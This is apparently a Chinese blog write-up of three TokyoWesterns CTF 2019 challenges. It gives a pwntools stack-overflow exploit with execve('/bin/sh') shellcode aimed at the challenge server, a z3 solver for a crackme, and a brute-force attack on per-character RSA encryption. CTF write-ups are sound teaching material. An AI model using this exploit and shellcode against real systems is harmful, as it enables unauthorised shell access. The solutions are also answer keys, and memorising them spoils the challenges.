TokyoWesternsCTF-2019-writeup

36次阅读

共计 4256 个字符,预计需要花费 11 分钟才能阅读完成。

tcl 做了三道签到题目

warmup

没有任何保护的栈溢出

from pwn import *

elf=ELF('./pwn')

shellcode = "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

addr=0x0000000000601A00

buf=0x00007FFE0740F240
ret=0x00007FFE0740F348

#io=process('./pwn')
#pause()
io=remote('nothing.chal.ctf.westerns.tokyo',10001)
io.sendline((ret-buf)*'a'+p64(0x0000000000400773)+p64(addr)+p64(elf.plt['gets'])+p64(addr))
io.sendline(shellcode)
io.interactive()

easy_crackme

这道题目耗时间比较长
最后用 z3 一个一个进行约束即可

check1

    v46 = '76543210';
    v47 = 'fedcba98';
    for (i = 0; i <= 15; ++i)
    {for ( j = strchr(s, *((char *)&v46 + i)); j; j = strchr(j + 1, *((char *)&v46 + i)) )
        ++*((_DWORD *)&s1 + i);
    }
    if (memcmp(&s1, &unk_400F00, 0x40uLL) )
    {puts("incorrect");
      exit(0);
    }

判断字符出现次数

check2

v21 = 0LL;
    v22 = 0LL;
    v23 = 0LL;
    v24 = 0LL;
    v25 = 0LL;
    v26 = 0LL;
    v27 = 0LL;
    v28 = 0LL;
    for (k = 0; k <= 7; ++k)
    {
      v10 = 0;
      v11 = 0;
      for (l = 0; l <= 3; ++l)                // 遍历 {***} 的内容
      {v5 = s[4 * k + 6 + l];
        v10 += v5;
        v11 ^= v5;
      }
      *((_DWORD *)&v21 + k) = v10;              // 四个一组的和
      *((_DWORD *)&v25 + k) = v11;              // 四个一组异或的值
    }

check3

    v29 = 0LL;
    v30 = 0LL;
    v31 = 0LL;
    v32 = 0LL;
    v33 = 0LL;
    v34 = 0LL;
    v35 = 0LL;
    v36 = 0LL;
    for (m = 0; m <= 7; ++m)
    {
      v14 = 0;
      v15 = 0;
      for (n = 0; n <= 3; ++n)
      {v6 = s[8 * n + 6 + m];
        v14 += v6;
        v15 ^= v6;
      }
      *((_DWORD *)&v29 + m) = v14;
      *((_DWORD *)&v33 + m) = v15;
    }
    if (memcmp(&v21, &unk_400F40, 0x20uLL) || memcmp(&v25, &unk_400F60, 0x20uLL) )
    {puts("incorrect");
      exit(0);
    }
    if (memcmp(&v29, &unk_400FA0, 0x20uLL) || memcmp(&v33, &unk_400F80, 0x20uLL) )
    {puts("incorrect");
      exit(0);
    }

check4

    memset(v45, 0, sizeof(v45));
    for (ii = 0; ii <= 31; ++ii)
    {v7 = s[ii + 6];
      if (v7 <= 0x2F || v7 > 0x39)
      {if ( v7 <= 0x60 || v7 > 0x66)
          v45[ii] = 0;
        else
          v45[ii] = 0x80;
      }
      else
      {v45[ii] = 0xFF;
      }
    }
    if (memcmp(v45, &unk_400FC0, 0x80uLL) )
    {puts("incorrect");
      exit(0);
    }

check5

v18 = 0;
    for (jj = 0; jj <= 15; ++jj)
      v18 += s[2 * (jj + 3)];
    if (v18 != 1160)
    {puts("incorrect");
      exit(0);
    }

check6

    if (s[37] != 0x35 || s[7] != 102 || s[11] != 0x38 || s[12] != 0x37 || s[23] != 0x32 || s[31] != 0x34 )
    {puts("incorrect");
      exit(0);
    }
    printf("Correct: %s\n", s, a2);
    result = 0LL;
  }

解题脚本如下:

# !user/bin/python2.7
# coding:utf-8
from collections import Counter
from z3 import *

s = Solver()
flag = [BitVec("a%d"%i,8) for i in range(32)]
sum1 = [0x15E, 0x0DA, 0x12F, 0x131, 0x100, 0x131, 0x0FB, 0x102]
xor1 = [0x52, 0x0C, 1, 0x0F, 0x5C, 5, 0x53, 0x58]
sum2 = [0x129, 0x103, 0x12B, 0x131, 0x135, 0x10B, 0x0FF, 0x0FF]
xor2 = [1, 0x57, 7, 0x0D, 0x0D, 0x53, 0x51, 0x51]
cnt = [3, 2, 2, 0, 3, 2, 1, 3, 3, 1, 1, 3, 1, 2, 2, 3]
memcmp = [0x80, 0x80, 0xFF, 0x80, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0xFF, 0xFF, 0x80, 0x80, 0xFF, 0xFF, 0x80, 0xFF, 0xFF, 0x80, 0xFF, 0x80, 0x80, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0xFF, 0xFF, 0xFF, 0x80, 0xFF]
d = "0123456789abcdef"
'''
for i in range(0,16):
    s.add(str(flag).count(str(ord(d[i])))==cnt[i])
'''
for j in range(32):
    if memcmp[j] == 0x80:
        s.add(flag[j]> 0x60)
        s.add(flag[j]<=0x66)
    else:
        s.add(flag[j]<=0x39)
        s.add(flag[j]> 0x2f)
for x in flag:
    s.add(0x30<=x)
    s.add(0x67>x)

s.add(flag[1]==102)
s.add(flag[5]==0x38)
s.add(flag[6]==0x37)
s.add(flag[17]==0x32)
s.add(flag[25]==0x34)
s.add(flag[31]==0x35)
#for i in range(len())
for i in range(len(flag)):
    s.add(flag[i]!=51)
for i in range(0,len(flag),4):
    s.add(flag[i]+flag[i+1]+flag[i+2]+flag[i+3]==sum1[i/4])
    s.add(flag[i]^flag[i+1]^flag[i+2]^flag[i+3]==xor1[i/4])

for i in range(0,8):
    s.add(flag[i]+flag[i+8]+flag[i+16]+flag[i+24]==sum2[i])
    s.add(flag[i]^flag[i+8]^flag[i+16]^flag[i+24]==xor2[i])
sum = 0
for i in range(0,32,2):
    sum += flag[i]
s.add(sum == 1160)


print "[-] check sat ·····"
if s.check() == sat:
    m = s.model()
    print m
    print "[+] print flag ·····"
    kk = ""
    for i in range(0,32):
        kk +=  chr(int("%s" % (m[flag[i]])))
    print "TWCTF{"+kk+"}"
else:
    print "[+] False     ·····"

real baby rsa

加密是逐个字符加密
我们可以加密所有可见字符
然后对比出 flag

flag = 'TWCTF{CENSORED}'
import libnum
# Public Parameters
N = 36239973541558932215768154398027510542999295460598793991863043974317503405132258743580804101986195705838099875086956063357178601077684772324064096356684008573295186622116931603804539480260180369510754948354952843990891989516977978839158915835381010468654190434058825525303974958222956513586121683284362090515808508044283236502801777575604829177236616682941566165356433922623572630453807517714014758581695760621278985339321003215237271785789328502527807304614754314937458797885837846005142762002103727753034387997014140695908371141458803486809615038309524628617159265412467046813293232560959236865127539835290549091
e = 65537
'''
# Encrypt the flag!
for char in flag:
    print(pow(ord(char), e, N))
'''dic ="TWCTF}{QWERTYUIOPASDFGHJKLZXCVBNM?/><.,:;\"\'[]qwertyuiopasdfghjklzxcvbnm0123456789!@#$%^&*()_-+=~`"flag =""
with open('output') as f: 
    for line in f:
        xx = line.rstrip()
        for i in dic:
            zz = str(pow(ord(i),e,N))
            if xx[:600] == zz[:600]:
                flag += i
                break

print flag

正文完
 0